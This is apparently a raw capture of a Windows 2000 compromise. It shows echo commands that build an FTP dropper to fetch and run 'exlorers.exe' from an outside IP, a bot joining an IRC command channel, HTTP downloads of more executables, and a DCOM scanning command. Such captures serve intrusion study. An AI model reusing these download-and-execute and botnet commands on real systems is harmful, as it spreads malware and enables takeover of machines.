VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> VICTIM: echo open 125.195.102.150 19196>.pif C:\\WINNT\\system32> VICTIM: echo user a a>>.pif C:\\WINNT\\system32> VICTIM: echo binary>>.pif C:\\WINNT\\system32> VICTIM: echo GET exlorers.exe>>.pif C:\\WINNT\\system32> VICTIM: echo bye>>.pif C:\\WINNT\\system32> VICTIM: echo @echo off >c.batC:\\WINNT\\system32> VICTIM: echo ftp -n -v -s:.pif >>c.batC:\\WINNT\\system32> VICTIM: echo exlorers.exe >>c.batC:\\WINNT\\system32> VICTIM: echo del .pif >>c.batC:\\WINNT\\system32> VICTIM: echo del /F c.bat >>c.batC:\\WINNT\\system32> VICTIM: echo exit /y >>c.batC:\\WINNT\\system32> ATTACKER: 220 - VICTIM: USER a ATTACKER: 331 - VICTIM: PASS a ATTACKER: 230 - VICTIM: TYPE I ATTACKER: 200 - VICTIM: PORT 192,168,1,88,4, ATTACKER: 200 - ATTACKER: RETR exlorers.exe ATTACKER: 150 - ATTACKER: 226 - VICTIM: QUIT ATTACKER: 231 - VICTIM: USER egeuye egeuye egeuye :kblaiqqhnwbocrim VICTIM: NICK vofbzVZH ATTACKER: :hub.54535.com 001 vofbzVZH :eduzz, vofbzVZH!egeuye@192.168.1.88:hub.54535.com 005 vofbzVZH MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.54535.com 005 vofbzVZH WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=eduzz CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:vofbzVZH MODE vofbzVZH :+iRp VICTIM: MODE vofbzVZH +xi VICTIM: JOIN #last USERHOST vofbzVZH ATTACKER: :vofbzVZH!egeuye@192.168.1.88 JOIN :#last:hub.54535.com 332 vofbzVZH #last :=mDWIocXFFHOeJkQb5QJl9J9RlrAsCXeYayH4Huco1mG9HQKwfcjfPIM8QyYzX6g0XzinKTwC95tpmzYcyde+U0Qfa/nt2xF4lufh0U8OvCMfkjkwmxtnE49:hub.54535.com 333 vofbzVZH #last w32 1209945394:hub.54535.com 353 vofbzVZH @ #last :vofbzVZH :hub.54535.com 366 vofbzVZH #last :End of /NAMES list.:hub.54535.com 302 vofbzVZH :vofbzVZH=+egeuye@192.168.1.88 VICTIM: MODE #last +smntu ATTACKER: :hub.54535.com 482 vofbzVZH #last :You're not channel operator VICTIM: JOIN #rs2 p\002\002JOIN #fox p\002\002 ATTACKER: :vofbzVZH!egeuye@192.168.1.88 JOIN :#rs2:hub.54535.com 332 vofbzVZH #rs2 :=6KStmMeZfXIiX3GCTNvz05XZj0n6JoQfJhgcZpZccAmkJsCI0NaXyK0cnZA4D1CxKQBK:hub.54535.com 333 vofbzVZH #rs2 r4h7 1217817400:hub.54535.com 353 vofbzVZH @ #rs2 :vofbzVZH :hub.54535.com 366 vofbzVZH #rs2 :End of /NAMES list.:vofbzVZH!egeuye@192.168.1.88 JOIN :#fox:hub.54535.com 332 vofbzVZH #fox :=qKbnl/8HL16GbxEWtBuT8ZU5PZcSArxxgsgMBkqEUAnExmAoV8CBWIfs/VCob3DfCeA+VSxe8UflOdY6zfOSdkfta1Nt11WezhsSF2jL2BxBfyRLu0ICxmQpWn9Ibzi3jphjKvsHIFrfVCb9k29f6FB/oYg4XfEFmelb645WdIsQLDysFsTgncJuENadXnWekWitjgQZoEul/Bp:hub.54535.com 333 vofbzVZH #fox x2s6 1217119964:hub.54535.com 353 vofbzVZH @ #fox :vofbzVZH :hub.54535.com 366 vofbzVZH #fox :End of /NAMES list. VICTIM: MODE #rs2 +smntu ATTACKER: :hub.54535.com 482 vofbzVZH #rs2 :You're not channel operator VICTIM: MODE #fox +smntu VICTIM: GET /is.exe HTTP/1.0Host: alwayssam.com ATTACKER: GET /rm.exe HTTP/1.0Host: alwayssam.com ATTACKER: GET /x3.exe HTTP/1.0Host: alwayssam.com ATTACKER: :hub.54535.com 482 vofbzVZH #fox :You're not channel operator ATTACKER: GET /kat3.exe HTTP/1.0Host: zonetech.info ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com ATTACKER: :eheh!Y@hoo.net PRIVMSG #last :* ipscan s.s.s.s dcom2 -s:eheh!Y@hoo.net PRIVMSG #last :=3R3DQVGrngI5AHMo5RSrFH/LRKB ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com